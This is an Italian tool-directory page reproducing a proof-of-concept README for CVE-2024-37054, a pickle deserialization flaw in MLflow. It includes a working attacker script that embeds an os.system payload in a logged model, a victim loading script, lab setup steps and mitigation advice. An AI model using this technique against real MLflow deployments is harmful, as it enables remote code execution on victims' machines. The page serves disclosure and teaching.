Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-37054-MLflow-RCE — NiteeshPujari/CVE-2024-37054, Questo repository contiene una Prova di Concetto (PoC) di una vulnerabilità critica di deserializzazione in MLflow che consente l'Esecuzione Remota di Codice (RCE). | Kitploit
Strumenti/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, Questo repository contiene una Prova di Concetto (PoC) di una vulnerabilità critica di deserializzazione in MLflow che consente l'Esecuzione Remota di Codice (RCE).

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
30 anni faNon ancora revisionato
root@kitploit:~
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: PoC per Esecuzione di Codice Remoto in MLflow

CVE Licenza GitHub LinkedIn


Questo repository contiene un Proof of Concept (PoC) per CVE-2024-37054, una vulnerabilità critica di deserializzazione in MLflow che permette l'esecuzione di codice remoto (RCE).

📚 Indice

  • Dettagli della vulnerabilità
  • Proof of Concept (PoC)
  • Mitigazione
  • Riferimenti
  • Informazioni sull'autore

🚨 Dettagli della vulnerabilità

  • CVE ID: CVE-2024-37054
  • Sommario: Esiste una vulnerabilità di deserializzazione nella funzione mlflow.pyfunc.load_model. Un utente malintenzionato può creare un modello malevolo contenente un payload picklato. Quando una vittima carica questo modello, il payload viene deserializzato tramite cloudpickle.load, portando all'esecuzione di codice arbitrario sulla macchina della vittima.
  • Prodotti coinvolti: Versioni di MLflow da 0.9.0 fino alla 2.14.2 esclusa.
  • Funzione vulnerabile: _load_pyfunc in mlflow/pyfunc/model.py.

🛠️ Proof of Concept (PoC)

Questo PoC simula due ruoli: un Attaccante che carica un modello malevolo e una Vittima che lo carica, innescando la RCE.

1. Configurazione dell'ambiente

Il modo più semplice per impostare un server MLflow vulnerabile è utilizzare il Dockerfile fornito.

Costruisci ed esegui il container Docker:

root@kitploit:~
# 1. Costruisci l'immagine Docker
docker build -t mlflow-vulnerable .

# 2. Esegui il container, mappando la porta 5000 sull'host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

Il tuo server MLflow vulnerabile è ora in esecuzione su http://127.0.0.1:5000.

2. Passaggi di esecuzione

Avrai bisogno di due terminali separati sulla tua macchina host. Assicurati di avere una versione vulnerabile di mlflow installata localmente (pip install mlflow==2.14.1) per eseguire gli script client.

Parte 1: Attaccante - Registra il modello malevolo

Nel primo terminale, esegui lo script dell'attaccante per registrare il modello malevolo.

Clicca per vedere lo script dell'Attaccante (poc/log_malicious_model.py)
root@kitploit:~
# poc/log_malicious_model.py
import mlflow
import os

# L'URI del tuo server di tracking MLflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Modello malevolo '{REGISTERED_MODEL_NAME}' registrato.")

Eseguilo:

root@kitploit:~
python poc/log_malicious_model.py

Parte 2: Vittima - Carica il modello vulnerabile

Nel secondo terminale, esegui lo script della vittima per simulare il caricamento del modello compromesso.

Clicca per vedere lo script della Vittima (poc/load_vulnerable_model.py)
root@kitploit:~
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VITTIMA: Tentativo di caricare il modello dall'URI: {model_uri}")
    print("[*] Il payload verrà eseguito alla prossima riga...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Modello caricato con successo.")
    except Exception as e:
        print(f"\n[!] Si è verificato un errore: {e}")

Eseguilo:

root@kitploit:~
python poc/load_vulnerable_model.py

3. Osserva il risultato

Dopo aver eseguito lo script della vittima, vedrai il messaggio /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found nel terminale, e un nuovo file chiamato pwned.txt verrà creato nella tua directory. Questo conferma l'esecuzione riuscita del comando.


🛡️ Mitigazione

  • Aggiorna MLflow: Esegui l'aggiornamento alla versione 2.14.2 o successiva, in cui questa vulnerabilità è stata corretta.
  • Non caricare mai modelli non fidati: Carica modelli ML solo da fonti di cui ti fidi completamente.

🔍 Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • Avviso originale: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 Informazioni sull'autore

Questo Proof of Concept è stato sviluppato da Pujari Niteesh.

  • Ingegnere di Ricerca in Sicurezza Informatica
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • Sito web: www.niteesh.in
Scarica lo strumento